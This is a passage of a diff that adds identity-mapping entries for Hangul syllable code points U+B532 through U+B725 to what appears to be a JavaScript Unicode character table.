+ ["\uB532", "\uB532"], /* Hangul Syllable */
+ ["\uB533", "\uB533"], /* Hangul Syllable */
+ ["\uB534", "\uB534"], /* Hangul Syllable */
+ ["\uB535", "\uB535"], /* Hangul Syllable */
+ ["\uB536", "\uB536"], /* Hangul Syllable */
+ ["\uB537", "\uB537"], /* Hangul Syllable */
+ ["\uB538", "\uB538"], /* Hangul Syllable */
+ ["\uB539", "\uB539"], /* Hangul Syllable */
+ ["\uB53A", "\uB53A"], /* Hangul Syllable */
+ ["\uB53B", "\uB53B"], /* Hangul Syllable */
+ ["\uB53C", "\uB53C"], /* Hangul Syllable */
+ ["\uB53D", "\uB53D"], /* Hangul Syllable */
+ ["\uB53E", "\uB53E"], /* Hangul Syllable */
+ ["\uB53F", "\uB53F"], /* Hangul Syllable */
+ ["\uB540", "\uB540"], /* Hangul Syllable */
+ ["\uB541", "\uB541"], /* Hangul Syllable */
+ ["\uB542", "\uB542"], /* Hangul Syllable */
+ ["\uB543", "\uB543"], /* Hangul Syllable */
+ ["\uB544", "\uB544"], /* Hangul Syllable */
+ ["\uB545", "\uB545"], /* Hangul Syllable */
+ ["\uB546", "\uB546"], /* Hangul Syllable */
+ ["\uB547", "\uB547"], /* Hangul Syllable */
+ ["\uB548", "\uB548"], /* Hangul Syllable */
+ ["\uB549", "\uB549"], /* Hangul Syllable */
+ ["\uB54A", "\uB54A"], /* Hangul Syllable */
+ ["\uB54B", "\uB54B"], /* Hangul Syllable */
+ ["\uB54C", "\uB54C"], /* Hangul Syllable */
+ ["\uB54D", "\uB54D"], /* Hangul Syllable */
+ ["\uB54E", "\uB54E"], /* Hangul Syllable */
+ ["\uB54F", "\uB54F"], /* Hangul Syllable */
+ ["\uB550", "\uB550"], /* Hangul Syllable */
+ ["\uB551", "\uB551"], /* Hangul Syllable */
+ ["\uB552", "\uB552"], /* Hangul Syllable */
+ ["\uB553", "\uB553"], /* Hangul Syllable */
+ ["\uB554", "\uB554"], /* Hangul Syllable */
+ ["\uB555", "\uB555"], /* Hangul Syllable */
+ ["\uB556", "\uB556"], /* Hangul Syllable */
+ ["\uB557", "\uB557"], /* Hangul Syllable */
+ ["\uB558", "\uB558"], /* Hangul Syllable */
+ ["\uB559", "\uB559"], /* Hangul Syllable */
+ ["\uB55A", "\uB55A"], /* Hangul Syllable */
+ ["\uB55B", "\uB55B"], /* Hangul Syllable */
+ ["\uB55C", "\uB55C"], /* Hangul Syllable */
+ ["\uB55D", "\uB55D"], /* Hangul Syllable */
+ ["\uB55E", "\uB55E"], /* Hangul Syllable */
+ ["\uB55F", "\uB55F"], /* Hangul Syllable */
+ ["\uB560", "\uB560"], /* Hangul Syllable */
+ ["\uB561", "\uB561"], /* Hangul Syllable */
+ ["\uB562", "\uB562"], /* Hangul Syllable */
+ ["\uB563", "\uB563"], /* Hangul Syllable */
+ ["\uB564", "\uB564"], /* Hangul Syllable */
+ ["\uB565", "\uB565"], /* Hangul Syllable */
+ ["\uB566", "\uB566"], /* Hangul Syllable */
+ ["\uB567", "\uB567"], /* Hangul Syllable */
+ ["\uB568", "\uB568"], /* Hangul Syllable */
+ ["\uB569", "\uB569"], /* Hangul Syllable */
+ ["\uB56A", "\uB56A"], /* Hangul Syllable */
+ ["\uB56B", "\uB56B"], /* Hangul Syllable */
+ ["\uB56C", "\uB56C"], /* Hangul Syllable */
+ ["\uB56D", "\uB56D"], /* Hangul Syllable */
+ ["\uB56E", "\uB56E"], /* Hangul Syllable */
+ ["\uB56F", "\uB56F"], /* Hangul Syllable */
+ ["\uB570", "\uB570"], /* Hangul Syllable */
+ ["\uB571", "\uB571"], /* Hangul Syllable */
+ ["\uB572", "\uB572"], /* Hangul Syllable */
+ ["\uB573", "\uB573"], /* Hangul Syllable */
+ ["\uB574", "\uB574"], /* Hangul Syllable */
+ ["\uB575", "\uB575"], /* Hangul Syllable */
+ ["\uB576", "\uB576"], /* Hangul Syllable */
+ ["\uB577", "\uB577"], /* Hangul Syllable */
+ ["\uB578", "\uB578"], /* Hangul Syllable */
+ ["\uB579", "\uB579"], /* Hangul Syllable */
+ ["\uB57A", "\uB57A"], /* Hangul Syllable */
+ ["\uB57B", "\uB57B"], /* Hangul Syllable */
+ ["\uB57C", "\uB57C"], /* Hangul Syllable */
+ ["\uB57D", "\uB57D"], /* Hangul Syllable */
+ ["\uB57E", "\uB57E"], /* Hangul Syllable */
+ ["\uB57F", "\uB57F"], /* Hangul Syllable */
+ ["\uB580", "\uB580"], /* Hangul Syllable */
+ ["\uB581", "\uB581"], /* Hangul Syllable */
+ ["\uB582", "\uB582"], /* Hangul Syllable */
+ ["\uB583", "\uB583"], /* Hangul Syllable */
+ ["\uB584", "\uB584"], /* Hangul Syllable */
+ ["\uB585", "\uB585"], /* Hangul Syllable */
+ ["\uB586", "\uB586"], /* Hangul Syllable */
+ ["\uB587", "\uB587"], /* Hangul Syllable */
+ ["\uB588", "\uB588"], /* Hangul Syllable */
+ ["\uB589", "\uB589"], /* Hangul Syllable */
+ ["\uB58A", "\uB58A"], /* Hangul Syllable */
+ ["\uB58B", "\uB58B"], /* Hangul Syllable */
+ ["\uB58C", "\uB58C"], /* Hangul Syllable */
+ ["\uB58D", "\uB58D"], /* Hangul Syllable */
+ ["\uB58E", "\uB58E"], /* Hangul Syllable */
+ ["\uB58F", "\uB58F"], /* Hangul Syllable */
+ ["\uB590", "\uB590"], /* Hangul Syllable */
+ ["\uB591", "\uB591"], /* Hangul Syllable */
+ ["\uB592", "\uB592"], /* Hangul Syllable */
+ ["\uB593", "\uB593"], /* Hangul Syllable */
+ ["\uB594", "\uB594"], /* Hangul Syllable */
+ ["\uB595", "\uB595"], /* Hangul Syllable */
+ ["\uB596", "\uB596"], /* Hangul Syllable */
+ ["\uB597", "\uB597"], /* Hangul Syllable */
+ ["\uB598", "\uB598"], /* Hangul Syllable */
+ ["\uB599", "\uB599"], /* Hangul Syllable */
+ ["\uB59A", "\uB59A"], /* Hangul Syllable */
+ ["\uB59B", "\uB59B"], /* Hangul Syllable */
+ ["\uB59C", "\uB59C"], /* Hangul Syllable */
+ ["\uB59D", "\uB59D"], /* Hangul Syllable */
+ ["\uB59E", "\uB59E"], /* Hangul Syllable */
+ ["\uB59F", "\uB59F"], /* Hangul Syllable */
+ ["\uB5A0", "\uB5A0"], /* Hangul Syllable */
+ ["\uB5A1", "\uB5A1"], /* Hangul Syllable */
+ ["\uB5A2", "\uB5A2"], /* Hangul Syllable */
+ ["\uB5A3", "\uB5A3"], /* Hangul Syllable */
+ ["\uB5A4", "\uB5A4"], /* Hangul Syllable */
+ ["\uB5A5", "\uB5A5"], /* Hangul Syllable */
+ ["\uB5A6", "\uB5A6"], /* Hangul Syllable */
+ ["\uB5A7", "\uB5A7"], /* Hangul Syllable */
+ ["\uB5A8", "\uB5A8"], /* Hangul Syllable */
+ ["\uB5A9", "\uB5A9"], /* Hangul Syllable */
+ ["\uB5AA", "\uB5AA"], /* Hangul Syllable */
+ ["\uB5AB", "\uB5AB"], /* Hangul Syllable */
+ ["\uB5AC", "\uB5AC"], /* Hangul Syllable */
+ ["\uB5AD", "\uB5AD"], /* Hangul Syllable */
+ ["\uB5AE", "\uB5AE"], /* Hangul Syllable */
+ ["\uB5AF", "\uB5AF"], /* Hangul Syllable */
+ ["\uB5B0", "\uB5B0"], /* Hangul Syllable */
+ ["\uB5B1", "\uB5B1"], /* Hangul Syllable */
+ ["\uB5B2", "\uB5B2"], /* Hangul Syllable */
+ ["\uB5B3", "\uB5B3"], /* Hangul Syllable */
+ ["\uB5B4", "\uB5B4"], /* Hangul Syllable */
+ ["\uB5B5", "\uB5B5"], /* Hangul Syllable */
+ ["\uB5B6", "\uB5B6"], /* Hangul Syllable */
+ ["\uB5B7", "\uB5B7"], /* Hangul Syllable */
+ ["\uB5B8", "\uB5B8"], /* Hangul Syllable */
+ ["\uB5B9", "\uB5B9"], /* Hangul Syllable */
+ ["\uB5BA", "\uB5BA"], /* Hangul Syllable */
+ ["\uB5BB", "\uB5BB"], /* Hangul Syllable */
+ ["\uB5BC", "\uB5BC"], /* Hangul Syllable */
+ ["\uB5BD", "\uB5BD"], /* Hangul Syllable */
+ ["\uB5BE", "\uB5BE"], /* Hangul Syllable */
+ ["\uB5BF", "\uB5BF"], /* Hangul Syllable */
+ ["\uB5C0", "\uB5C0"], /* Hangul Syllable */
+ ["\uB5C1", "\uB5C1"], /* Hangul Syllable */
+ ["\uB5C2", "\uB5C2"], /* Hangul Syllable */
+ ["\uB5C3", "\uB5C3"], /* Hangul Syllable */
+ ["\uB5C4", "\uB5C4"], /* Hangul Syllable */
+ ["\uB5C5", "\uB5C5"], /* Hangul Syllable */
+ ["\uB5C6", "\uB5C6"], /* Hangul Syllable */
+ ["\uB5C7", "\uB5C7"], /* Hangul Syllable */
+ ["\uB5C8", "\uB5C8"], /* Hangul Syllable */
+ ["\uB5C9", "\uB5C9"], /* Hangul Syllable */
+ ["\uB5CA", "\uB5CA"], /* Hangul Syllable */
+ ["\uB5CB", "\uB5CB"], /* Hangul Syllable */
+ ["\uB5CC", "\uB5CC"], /* Hangul Syllable */
+ ["\uB5CD", "\uB5CD"], /* Hangul Syllable */
+ ["\uB5CE", "\uB5CE"], /* Hangul Syllable */
+ ["\uB5CF", "\uB5CF"], /* Hangul Syllable */
+ ["\uB5D0", "\uB5D0"], /* Hangul Syllable */
+ ["\uB5D1", "\uB5D1"], /* Hangul Syllable */
+ ["\uB5D2", "\uB5D2"], /* Hangul Syllable */
+ ["\uB5D3", "\uB5D3"], /* Hangul Syllable */
+ ["\uB5D4", "\uB5D4"], /* Hangul Syllable */
+ ["\uB5D5", "\uB5D5"], /* Hangul Syllable */
+ ["\uB5D6", "\uB5D6"], /* Hangul Syllable */
+ ["\uB5D7", "\uB5D7"], /* Hangul Syllable */
+ ["\uB5D8", "\uB5D8"], /* Hangul Syllable */
+ ["\uB5D9", "\uB5D9"], /* Hangul Syllable */
+ ["\uB5DA", "\uB5DA"], /* Hangul Syllable */
+ ["\uB5DB", "\uB5DB"], /* Hangul Syllable */
+ ["\uB5DC", "\uB5DC"], /* Hangul Syllable */
+ ["\uB5DD", "\uB5DD"], /* Hangul Syllable */
+ ["\uB5DE", "\uB5DE"], /* Hangul Syllable */
+ ["\uB5DF", "\uB5DF"], /* Hangul Syllable */
+ ["\uB5E0", "\uB5E0"], /* Hangul Syllable */
+ ["\uB5E1", "\uB5E1"], /* Hangul Syllable */
+ ["\uB5E2", "\uB5E2"], /* Hangul Syllable */
+ ["\uB5E3", "\uB5E3"], /* Hangul Syllable */
+ ["\uB5E4", "\uB5E4"], /* Hangul Syllable */
+ ["\uB5E5", "\uB5E5"], /* Hangul Syllable */
+ ["\uB5E6", "\uB5E6"], /* Hangul Syllable */
+ ["\uB5E7", "\uB5E7"], /* Hangul Syllable */
+ ["\uB5E8", "\uB5E8"], /* Hangul Syllable */
+ ["\uB5E9", "\uB5E9"], /* Hangul Syllable */
+ ["\uB5EA", "\uB5EA"], /* Hangul Syllable */
+ ["\uB5EB", "\uB5EB"], /* Hangul Syllable */
+ ["\uB5EC", "\uB5EC"], /* Hangul Syllable */
+ ["\uB5ED", "\uB5ED"], /* Hangul Syllable */
+ ["\uB5EE", "\uB5EE"], /* Hangul Syllable */
+ ["\uB5EF", "\uB5EF"], /* Hangul Syllable */
+ ["\uB5F0", "\uB5F0"], /* Hangul Syllable */
+ ["\uB5F1", "\uB5F1"], /* Hangul Syllable */
+ ["\uB5F2", "\uB5F2"], /* Hangul Syllable */
+ ["\uB5F3", "\uB5F3"], /* Hangul Syllable */
+ ["\uB5F4", "\uB5F4"], /* Hangul Syllable */
+ ["\uB5F5", "\uB5F5"], /* Hangul Syllable */
+ ["\uB5F6", "\uB5F6"], /* Hangul Syllable */
+ ["\uB5F7", "\uB5F7"], /* Hangul Syllable */
+ ["\uB5F8", "\uB5F8"], /* Hangul Syllable */
+ ["\uB5F9", "\uB5F9"], /* Hangul Syllable */
+ ["\uB5FA", "\uB5FA"], /* Hangul Syllable */
+ ["\uB5FB", "\uB5FB"], /* Hangul Syllable */
+ ["\uB5FC", "\uB5FC"], /* Hangul Syllable */
+ ["\uB5FD", "\uB5FD"], /* Hangul Syllable */
+ ["\uB5FE", "\uB5FE"], /* Hangul Syllable */
+ ["\uB5FF", "\uB5FF"], /* Hangul Syllable */
+ ["\uB600", "\uB600"], /* Hangul Syllable */
+ ["\uB601", "\uB601"], /* Hangul Syllable */
+ ["\uB602", "\uB602"], /* Hangul Syllable */
+ ["\uB603", "\uB603"], /* Hangul Syllable */
+ ["\uB604", "\uB604"], /* Hangul Syllable */
+ ["\uB605", "\uB605"], /* Hangul Syllable */
+ ["\uB606", "\uB606"], /* Hangul Syllable */
+ ["\uB607", "\uB607"], /* Hangul Syllable */
+ ["\uB608", "\uB608"], /* Hangul Syllable */
+ ["\uB609", "\uB609"], /* Hangul Syllable */
+ ["\uB60A", "\uB60A"], /* Hangul Syllable */
+ ["\uB60B", "\uB60B"], /* Hangul Syllable */
+ ["\uB60C", "\uB60C"], /* Hangul Syllable */
+ ["\uB60D", "\uB60D"], /* Hangul Syllable */
+ ["\uB60E", "\uB60E"], /* Hangul Syllable */
+ ["\uB60F", "\uB60F"], /* Hangul Syllable */
+ ["\uB610", "\uB610"], /* Hangul Syllable */
+ ["\uB611", "\uB611"], /* Hangul Syllable */
+ ["\uB612", "\uB612"], /* Hangul Syllable */
+ ["\uB613", "\uB613"], /* Hangul Syllable */
+ ["\uB614", "\uB614"], /* Hangul Syllable */
+ ["\uB615", "\uB615"], /* Hangul Syllable */
+ ["\uB616", "\uB616"], /* Hangul Syllable */
+ ["\uB617", "\uB617"], /* Hangul Syllable */
+ ["\uB618", "\uB618"], /* Hangul Syllable */
+ ["\uB619", "\uB619"], /* Hangul Syllable */
+ ["\uB61A", "\uB61A"], /* Hangul Syllable */
+ ["\uB61B", "\uB61B"], /* Hangul Syllable */
+ ["\uB61C", "\uB61C"], /* Hangul Syllable */
+ ["\uB61D", "\uB61D"], /* Hangul Syllable */
+ ["\uB61E", "\uB61E"], /* Hangul Syllable */
+ ["\uB61F", "\uB61F"], /* Hangul Syllable */
+ ["\uB620", "\uB620"], /* Hangul Syllable */
+ ["\uB621", "\uB621"], /* Hangul Syllable */
+ ["\uB622", "\uB622"], /* Hangul Syllable */
+ ["\uB623", "\uB623"], /* Hangul Syllable */
+ ["\uB624", "\uB624"], /* Hangul Syllable */
+ ["\uB625", "\uB625"], /* Hangul Syllable */
+ ["\uB626", "\uB626"], /* Hangul Syllable */
+ ["\uB627", "\uB627"], /* Hangul Syllable */
+ ["\uB628", "\uB628"], /* Hangul Syllable */
+ ["\uB629", "\uB629"], /* Hangul Syllable */
+ ["\uB62A", "\uB62A"], /* Hangul Syllable */
+ ["\uB62B", "\uB62B"], /* Hangul Syllable */
+ ["\uB62C", "\uB62C"], /* Hangul Syllable */
+ ["\uB62D", "\uB62D"], /* Hangul Syllable */
+ ["\uB62E", "\uB62E"], /* Hangul Syllable */
+ ["\uB62F", "\uB62F"], /* Hangul Syllable */
+ ["\uB630", "\uB630"], /* Hangul Syllable */
+ ["\uB631", "\uB631"], /* Hangul Syllable */
+ ["\uB632", "\uB632"], /* Hangul Syllable */
+ ["\uB633", "\uB633"], /* Hangul Syllable */
+ ["\uB634", "\uB634"], /* Hangul Syllable */
+ ["\uB635", "\uB635"], /* Hangul Syllable */
+ ["\uB636", "\uB636"], /* Hangul Syllable */
+ ["\uB637", "\uB637"], /* Hangul Syllable */
+ ["\uB638", "\uB638"], /* Hangul Syllable */
+ ["\uB639", "\uB639"], /* Hangul Syllable */
+ ["\uB63A", "\uB63A"], /* Hangul Syllable */
+ ["\uB63B", "\uB63B"], /* Hangul Syllable */
+ ["\uB63C", "\uB63C"], /* Hangul Syllable */
+ ["\uB63D", "\uB63D"], /* Hangul Syllable */
+ ["\uB63E", "\uB63E"], /* Hangul Syllable */
+ ["\uB63F", "\uB63F"], /* Hangul Syllable */
+ ["\uB640", "\uB640"], /* Hangul Syllable */
+ ["\uB641", "\uB641"], /* Hangul Syllable */
+ ["\uB642", "\uB642"], /* Hangul Syllable */
+ ["\uB643", "\uB643"], /* Hangul Syllable */
+ ["\uB644", "\uB644"], /* Hangul Syllable */
+ ["\uB645", "\uB645"], /* Hangul Syllable */
+ ["\uB646", "\uB646"], /* Hangul Syllable */
+ ["\uB647", "\uB647"], /* Hangul Syllable */
+ ["\uB648", "\uB648"], /* Hangul Syllable */
+ ["\uB649", "\uB649"], /* Hangul Syllable */
+ ["\uB64A", "\uB64A"], /* Hangul Syllable */
+ ["\uB64B", "\uB64B"], /* Hangul Syllable */
+ ["\uB64C", "\uB64C"], /* Hangul Syllable */
+ ["\uB64D", "\uB64D"], /* Hangul Syllable */
+ ["\uB64E", "\uB64E"], /* Hangul Syllable */
+ ["\uB64F", "\uB64F"], /* Hangul Syllable */
+ ["\uB650", "\uB650"], /* Hangul Syllable */
+ ["\uB651", "\uB651"], /* Hangul Syllable */
+ ["\uB652", "\uB652"], /* Hangul Syllable */
+ ["\uB653", "\uB653"], /* Hangul Syllable */
+ ["\uB654", "\uB654"], /* Hangul Syllable */
+ ["\uB655", "\uB655"], /* Hangul Syllable */
+ ["\uB656", "\uB656"], /* Hangul Syllable */
+ ["\uB657", "\uB657"], /* Hangul Syllable */
+ ["\uB658", "\uB658"], /* Hangul Syllable */
+ ["\uB659", "\uB659"], /* Hangul Syllable */
+ ["\uB65A", "\uB65A"], /* Hangul Syllable */
+ ["\uB65B", "\uB65B"], /* Hangul Syllable */
+ ["\uB65C", "\uB65C"], /* Hangul Syllable */
+ ["\uB65D", "\uB65D"], /* Hangul Syllable */
+ ["\uB65E", "\uB65E"], /* Hangul Syllable */
+ ["\uB65F", "\uB65F"], /* Hangul Syllable */
+ ["\uB660", "\uB660"], /* Hangul Syllable */
+ ["\uB661", "\uB661"], /* Hangul Syllable */
+ ["\uB662", "\uB662"], /* Hangul Syllable */
+ ["\uB663", "\uB663"], /* Hangul Syllable */
+ ["\uB664", "\uB664"], /* Hangul Syllable */
+ ["\uB665", "\uB665"], /* Hangul Syllable */
+ ["\uB666", "\uB666"], /* Hangul Syllable */
+ ["\uB667", "\uB667"], /* Hangul Syllable */
+ ["\uB668", "\uB668"], /* Hangul Syllable */
+ ["\uB669", "\uB669"], /* Hangul Syllable */
+ ["\uB66A", "\uB66A"], /* Hangul Syllable */
+ ["\uB66B", "\uB66B"], /* Hangul Syllable */
+ ["\uB66C", "\uB66C"], /* Hangul Syllable */
+ ["\uB66D", "\uB66D"], /* Hangul Syllable */
+ ["\uB66E", "\uB66E"], /* Hangul Syllable */
+ ["\uB66F", "\uB66F"], /* Hangul Syllable */
+ ["\uB670", "\uB670"], /* Hangul Syllable */
+ ["\uB671", "\uB671"], /* Hangul Syllable */
+ ["\uB672", "\uB672"], /* Hangul Syllable */
+ ["\uB673", "\uB673"], /* Hangul Syllable */
+ ["\uB674", "\uB674"], /* Hangul Syllable */
+ ["\uB675", "\uB675"], /* Hangul Syllable */
+ ["\uB676", "\uB676"], /* Hangul Syllable */
+ ["\uB677", "\uB677"], /* Hangul Syllable */
+ ["\uB678", "\uB678"], /* Hangul Syllable */
+ ["\uB679", "\uB679"], /* Hangul Syllable */
+ ["\uB67A", "\uB67A"], /* Hangul Syllable */
+ ["\uB67B", "\uB67B"], /* Hangul Syllable */
+ ["\uB67C", "\uB67C"], /* Hangul Syllable */
+ ["\uB67D", "\uB67D"], /* Hangul Syllable */
+ ["\uB67E", "\uB67E"], /* Hangul Syllable */
+ ["\uB67F", "\uB67F"], /* Hangul Syllable */
+ ["\uB680", "\uB680"], /* Hangul Syllable */
+ ["\uB681", "\uB681"], /* Hangul Syllable */
+ ["\uB682", "\uB682"], /* Hangul Syllable */
+ ["\uB683", "\uB683"], /* Hangul Syllable */
+ ["\uB684", "\uB684"], /* Hangul Syllable */
+ ["\uB685", "\uB685"], /* Hangul Syllable */
+ ["\uB686", "\uB686"], /* Hangul Syllable */
+ ["\uB687", "\uB687"], /* Hangul Syllable */
+ ["\uB688", "\uB688"], /* Hangul Syllable */
+ ["\uB689", "\uB689"], /* Hangul Syllable */
+ ["\uB68A", "\uB68A"], /* Hangul Syllable */
+ ["\uB68B", "\uB68B"], /* Hangul Syllable */
+ ["\uB68C", "\uB68C"], /* Hangul Syllable */
+ ["\uB68D", "\uB68D"], /* Hangul Syllable */
+ ["\uB68E", "\uB68E"], /* Hangul Syllable */
+ ["\uB68F", "\uB68F"], /* Hangul Syllable */
+ ["\uB690", "\uB690"], /* Hangul Syllable */
+ ["\uB691", "\uB691"], /* Hangul Syllable */
+ ["\uB692", "\uB692"], /* Hangul Syllable */
+ ["\uB693", "\uB693"], /* Hangul Syllable */
+ ["\uB694", "\uB694"], /* Hangul Syllable */
+ ["\uB695", "\uB695"], /* Hangul Syllable */
+ ["\uB696", "\uB696"], /* Hangul Syllable */
+ ["\uB697", "\uB697"], /* Hangul Syllable */
+ ["\uB698", "\uB698"], /* Hangul Syllable */
+ ["\uB699", "\uB699"], /* Hangul Syllable */
+ ["\uB69A", "\uB69A"], /* Hangul Syllable */
+ ["\uB69B", "\uB69B"], /* Hangul Syllable */
+ ["\uB69C", "\uB69C"], /* Hangul Syllable */
+ ["\uB69D", "\uB69D"], /* Hangul Syllable */
+ ["\uB69E", "\uB69E"], /* Hangul Syllable */
+ ["\uB69F", "\uB69F"], /* Hangul Syllable */
+ ["\uB6A0", "\uB6A0"], /* Hangul Syllable */
+ ["\uB6A1", "\uB6A1"], /* Hangul Syllable */
+ ["\uB6A2", "\uB6A2"], /* Hangul Syllable */
+ ["\uB6A3", "\uB6A3"], /* Hangul Syllable */
+ ["\uB6A4", "\uB6A4"], /* Hangul Syllable */
+ ["\uB6A5", "\uB6A5"], /* Hangul Syllable */
+ ["\uB6A6", "\uB6A6"], /* Hangul Syllable */
+ ["\uB6A7", "\uB6A7"], /* Hangul Syllable */
+ ["\uB6A8", "\uB6A8"], /* Hangul Syllable */
+ ["\uB6A9", "\uB6A9"], /* Hangul Syllable */
+ ["\uB6AA", "\uB6AA"], /* Hangul Syllable */
+ ["\uB6AB", "\uB6AB"], /* Hangul Syllable */
+ ["\uB6AC", "\uB6AC"], /* Hangul Syllable */
+ ["\uB6AD", "\uB6AD"], /* Hangul Syllable */
+ ["\uB6AE", "\uB6AE"], /* Hangul Syllable */
+ ["\uB6AF", "\uB6AF"], /* Hangul Syllable */
+ ["\uB6B0", "\uB6B0"], /* Hangul Syllable */
+ ["\uB6B1", "\uB6B1"], /* Hangul Syllable */
+ ["\uB6B2", "\uB6B2"], /* Hangul Syllable */
+ ["\uB6B3", "\uB6B3"], /* Hangul Syllable */
+ ["\uB6B4", "\uB6B4"], /* Hangul Syllable */
+ ["\uB6B5", "\uB6B5"], /* Hangul Syllable */
+ ["\uB6B6", "\uB6B6"], /* Hangul Syllable */
+ ["\uB6B7", "\uB6B7"], /* Hangul Syllable */
+ ["\uB6B8", "\uB6B8"], /* Hangul Syllable */
+ ["\uB6B9", "\uB6B9"], /* Hangul Syllable */
+ ["\uB6BA", "\uB6BA"], /* Hangul Syllable */
+ ["\uB6BB", "\uB6BB"], /* Hangul Syllable */
+ ["\uB6BC", "\uB6BC"], /* Hangul Syllable */
+ ["\uB6BD", "\uB6BD"], /* Hangul Syllable */
+ ["\uB6BE", "\uB6BE"], /* Hangul Syllable */
+ ["\uB6BF", "\uB6BF"], /* Hangul Syllable */
+ ["\uB6C0", "\uB6C0"], /* Hangul Syllable */
+ ["\uB6C1", "\uB6C1"], /* Hangul Syllable */
+ ["\uB6C2", "\uB6C2"], /* Hangul Syllable */
+ ["\uB6C3", "\uB6C3"], /* Hangul Syllable */
+ ["\uB6C4", "\uB6C4"], /* Hangul Syllable */
+ ["\uB6C5", "\uB6C5"], /* Hangul Syllable */
+ ["\uB6C6", "\uB6C6"], /* Hangul Syllable */
+ ["\uB6C7", "\uB6C7"], /* Hangul Syllable */
+ ["\uB6C8", "\uB6C8"], /* Hangul Syllable */
+ ["\uB6C9", "\uB6C9"], /* Hangul Syllable */
+ ["\uB6CA", "\uB6CA"], /* Hangul Syllable */
+ ["\uB6CB", "\uB6CB"], /* Hangul Syllable */
+ ["\uB6CC", "\uB6CC"], /* Hangul Syllable */
+ ["\uB6CD", "\uB6CD"], /* Hangul Syllable */
+ ["\uB6CE", "\uB6CE"], /* Hangul Syllable */
+ ["\uB6CF", "\uB6CF"], /* Hangul Syllable */
+ ["\uB6D0", "\uB6D0"], /* Hangul Syllable */
+ ["\uB6D1", "\uB6D1"], /* Hangul Syllable */
+ ["\uB6D2", "\uB6D2"], /* Hangul Syllable */
+ ["\uB6D3", "\uB6D3"], /* Hangul Syllable */
+ ["\uB6D4", "\uB6D4"], /* Hangul Syllable */
+ ["\uB6D5", "\uB6D5"], /* Hangul Syllable */
+ ["\uB6D6", "\uB6D6"], /* Hangul Syllable */
+ ["\uB6D7", "\uB6D7"], /* Hangul Syllable */
+ ["\uB6D8", "\uB6D8"], /* Hangul Syllable */
+ ["\uB6D9", "\uB6D9"], /* Hangul Syllable */
+ ["\uB6DA", "\uB6DA"], /* Hangul Syllable */
+ ["\uB6DB", "\uB6DB"], /* Hangul Syllable */
+ ["\uB6DC", "\uB6DC"], /* Hangul Syllable */
+ ["\uB6DD", "\uB6DD"], /* Hangul Syllable */
+ ["\uB6DE", "\uB6DE"], /* Hangul Syllable */
+ ["\uB6DF", "\uB6DF"], /* Hangul Syllable */
+ ["\uB6E0", "\uB6E0"], /* Hangul Syllable */
+ ["\uB6E1", "\uB6E1"], /* Hangul Syllable */
+ ["\uB6E2", "\uB6E2"], /* Hangul Syllable */
+ ["\uB6E3", "\uB6E3"], /* Hangul Syllable */
+ ["\uB6E4", "\uB6E4"], /* Hangul Syllable */
+ ["\uB6E5", "\uB6E5"], /* Hangul Syllable */
+ ["\uB6E6", "\uB6E6"], /* Hangul Syllable */
+ ["\uB6E7", "\uB6E7"], /* Hangul Syllable */
+ ["\uB6E8", "\uB6E8"], /* Hangul Syllable */
+ ["\uB6E9", "\uB6E9"], /* Hangul Syllable */
+ ["\uB6EA", "\uB6EA"], /* Hangul Syllable */
+ ["\uB6EB", "\uB6EB"], /* Hangul Syllable */
+ ["\uB6EC", "\uB6EC"], /* Hangul Syllable */
+ ["\uB6ED", "\uB6ED"], /* Hangul Syllable */
+ ["\uB6EE", "\uB6EE"], /* Hangul Syllable */
+ ["\uB6EF", "\uB6EF"], /* Hangul Syllable */
+ ["\uB6F0", "\uB6F0"], /* Hangul Syllable */
+ ["\uB6F1", "\uB6F1"], /* Hangul Syllable */
+ ["\uB6F2", "\uB6F2"], /* Hangul Syllable */
+ ["\uB6F3", "\uB6F3"], /* Hangul Syllable */
+ ["\uB6F4", "\uB6F4"], /* Hangul Syllable */
+ ["\uB6F5", "\uB6F5"], /* Hangul Syllable */
+ ["\uB6F6", "\uB6F6"], /* Hangul Syllable */
+ ["\uB6F7", "\uB6F7"], /* Hangul Syllable */
+ ["\uB6F8", "\uB6F8"], /* Hangul Syllable */
+ ["\uB6F9", "\uB6F9"], /* Hangul Syllable */
+ ["\uB6FA", "\uB6FA"], /* Hangul Syllable */
+ ["\uB6FB", "\uB6FB"], /* Hangul Syllable */
+ ["\uB6FC", "\uB6FC"], /* Hangul Syllable */
+ ["\uB6FD", "\uB6FD"], /* Hangul Syllable */
+ ["\uB6FE", "\uB6FE"], /* Hangul Syllable */
+ ["\uB6FF", "\uB6FF"], /* Hangul Syllable */
+ ["\uB700", "\uB700"], /* Hangul Syllable */
+ ["\uB701", "\uB701"], /* Hangul Syllable */
+ ["\uB702", "\uB702"], /* Hangul Syllable */
+ ["\uB703", "\uB703"], /* Hangul Syllable */
+ ["\uB704", "\uB704"], /* Hangul Syllable */
+ ["\uB705", "\uB705"], /* Hangul Syllable */
+ ["\uB706", "\uB706"], /* Hangul Syllable */
+ ["\uB707", "\uB707"], /* Hangul Syllable */
+ ["\uB708", "\uB708"], /* Hangul Syllable */
+ ["\uB709", "\uB709"], /* Hangul Syllable */
+ ["\uB70A", "\uB70A"], /* Hangul Syllable */
+ ["\uB70B", "\uB70B"], /* Hangul Syllable */
+ ["\uB70C", "\uB70C"], /* Hangul Syllable */
+ ["\uB70D", "\uB70D"], /* Hangul Syllable */
+ ["\uB70E", "\uB70E"], /* Hangul Syllable */
+ ["\uB70F", "\uB70F"], /* Hangul Syllable */
+ ["\uB710", "\uB710"], /* Hangul Syllable */
+ ["\uB711", "\uB711"], /* Hangul Syllable */
+ ["\uB712", "\uB712"], /* Hangul Syllable */
+ ["\uB713", "\uB713"], /* Hangul Syllable */
+ ["\uB714", "\uB714"], /* Hangul Syllable */
+ ["\uB715", "\uB715"], /* Hangul Syllable */
+ ["\uB716", "\uB716"], /* Hangul Syllable */
+ ["\uB717", "\uB717"], /* Hangul Syllable */
+ ["\uB718", "\uB718"], /* Hangul Syllable */
+ ["\uB719", "\uB719"], /* Hangul Syllable */
+ ["\uB71A", "\uB71A"], /* Hangul Syllable */
+ ["\uB71B", "\uB71B"], /* Hangul Syllable */
+ ["\uB71C", "\uB71C"], /* Hangul Syllable */
+ ["\uB71D", "\uB71D"], /* Hangul Syllable */
+ ["\uB71E", "\uB71E"], /* Hangul Syllable */
+ ["\uB71F", "\uB71F"], /* Hangul Syllable */
+ ["\uB720", "\uB720"], /* Hangul Syllable */
+ ["\uB721", "\uB721"], /* Hangul Syllable */
+ ["\uB722", "\uB722"], /* Hangul Syllable */
+ ["\uB723", "\uB723"], /* Hangul Syllable */
+ ["\uB724", "\uB724"], /* Hangul Syllable */
+ ["\uB725", "\uB725"], /* Hangul Syllable */
